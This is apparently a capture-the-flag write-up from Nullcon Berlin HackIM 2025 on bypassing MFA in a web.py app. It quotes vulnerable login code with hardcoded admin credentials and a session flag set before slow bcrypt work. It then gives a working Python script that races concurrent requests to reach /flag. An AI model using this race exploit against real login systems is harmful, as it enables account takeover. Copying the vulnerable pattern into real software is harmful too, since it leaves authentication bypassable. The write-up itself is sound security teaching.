Featured image of post TOCTOU race to bypass MFA in a web.py login - Nullcon Berlin 2025

TOCTOU race to bypass MFA in a web.py login - Nullcon Berlin 2025

Winning a TOCTOU race in a web.py login flow to bypass MFA and read the flag. Nullcon Berlin HackIM 2025 web write-up.

Challenge source

Introduction

Webby is a tiny web.py app behind an MFA gate. The intended flow is: valid credentials -> MFA page -> enter token -> flag. The implementation has a race condition, though: the server marks you logged in before it computes the expensive MFA token and clears the session, so a concurrent request can reach /flag during that window and skip MFA entirely.

Webby Homepage

Context Explanation

  • Stack: Python web.py, bcrypt, shelve-backed sessions (/tmp/session.shelf).
  • Auth: a static user DB; admin/admin requires MFA.
  • MFA: a per-session tokenMFA derived with bcrypt cost 14, then wrapped in MD5, deliberately slow.
  • Flag gate: /flag only checks session.loggedIn and session.username == 'admin'.

Key bits:

# Session + flag
session = web.session.Session(app, web.session.ShelfStore(shelve.open("/tmp/session.shelf")))
FLAG = open("/tmp/flag.txt").read()

Directive

Race it with two concurrent requests on the same session cookie: a POST / to log in as admin, and a GET /flag fired repeatedly while the server is still grinding on the MFA token.


Solution

1) Credentials and MFA requirement

def check_user_creds(user,pw):
    users = {
        # Add more users if needed
        'user1': 'user1',
        'user2': 'user2',
        'user3': 'user3',
        'user4': 'user4',
        'admin': 'admin',

    }
    try:
        return users[user] == pw
    except:
        return False

def check_mfa(user):
    users = {
        'user1': False,
        'user2': False,
        'user3': False,
        'user4': False,
        'admin': True,
    }
    try:
        return users[user]
    except:
        return False

2) Vulnerable login flow (TOCTOU)

On good credentials the code marks the session logged in and writes it to disk, then starts MFA setup:

# POST '/' (login)
def POST(self):
    f = login_Form()
    if not f.validates():
        session.kill()
        return render.index(f)
    i = web.input()
    if not check_user_creds(i.username, i.password):
        session.kill()
        raise web.seeother('/')
    else:
        session.loggedIn = True
        session.username = i.username
        session._save()

    if check_mfa(session.get("username", None)):
        session.doMFA = True
        # heavy work
        session.tokenMFA = hashlib.md5(bcrypt.hashpw(str(secrets.randbits(random.randint(40,65))).encode(),bcrypt.gensalt(14))).hexdigest()
        session.loggedIn = False # <-- flipped back *after* the heavy work
        session._save()
        raise web.seeother("/mfa")
    return render.login(session.get("username",None))

bcrypt.gensalt(14) + hashpw is slow on purpose, and that’s the window:

  • session.loggedIn == True and session.username == 'admin' are already saved,
  • the app is still busy generating tokenMFA,
  • the flip back to loggedIn = False hasn’t been written yet.

3) Flag guard (weak)

# GET '/flag'
if not session.get("loggedIn", False) or session.get("username", None) != "admin":
    raise web.seeother('/')
return render.flag(FLAG)

No MFA state here, just the two session flags. Hit this during the window and it’s over.

4) PoC (concurrent requests)

Fire the login in one thread and hammer /flag in parallel until a GET lands inside the bcrypt window:

import requests, threading, time

BASE_URL = "http://52.59.124.14:5010"

session = requests.Session()
session.get(BASE_URL + "/")  
cookies = dict(session.cookies)

def login_admin():
    data = {"username": "admin", "password": "admin", "submit": ""}
    requests.post(BASE_URL + "/", data=data, cookies=cookies)

thread = threading.Thread(target=login_admin, daemon=True)
thread.start()
time.sleep(0.02)

end = time.time() + 2
while time.time() < end:
    response = requests.get(BASE_URL + "/flag", cookies=cookies)
    if response.status_code == 200 and "flag" in response.text.lower():
        print(response.text)
        break
    time.sleep(0.005)

thread.join(timeout=1)

Flag

Why it works: session._save() writes loggedIn=True before the costly bcrypt step. While bcrypt runs, the same cookie can request /flag, and the check passes because it only looks at loggedIn and username.


Tips & Tricks

  1. Watch for “set then unset later”: a privileged bit that’s set and cleared around heavy crypto or IO is a prime spot to race reads of the protected endpoint.
  2. Session stores matter: disk/shelve-backed sessions plus separate requests are a classic source of TOCTOU windows.